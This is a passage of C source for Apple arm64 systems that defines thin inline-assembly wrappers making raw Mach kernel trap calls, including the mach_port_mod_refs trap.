register uint64_t x2 __asm__("x2") = size;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-12);
__asm__ volatile("svc #0x80" : "+r"(x0) : "r"(x1), "r"(x2), "r"(x16) : "memory");
return (kern_return_t)x0;
}
/* ── 0x6098: Mach trap -19 — _kernelrpc_mach_port_mod_refs_trap ──── */
kern_return_t e2_trap_port_mod_refs(mach_port_t task, mach_port_t port,
uint32_t right, int32_t delta)
{
register uint64_t x0 __asm__("x0") = task;
register uint64_t x1 __asm__("x1") = port;
register uint64_t x2 __asm__("x2") = right;
register uint64_t x3 __asm__("x3") = (uint64_t)(int64_t)delta;
register uint64_t x16 __asm__("x16") = (uint64_t)(int64_t)(-19);
__asm__ volatile("svc #0x80"
: "+r"(x0)
: "r"(x1), "r"(x2), "r"(x3), "r"(x16)
: "memory");
return (kern_return_t)x0;
}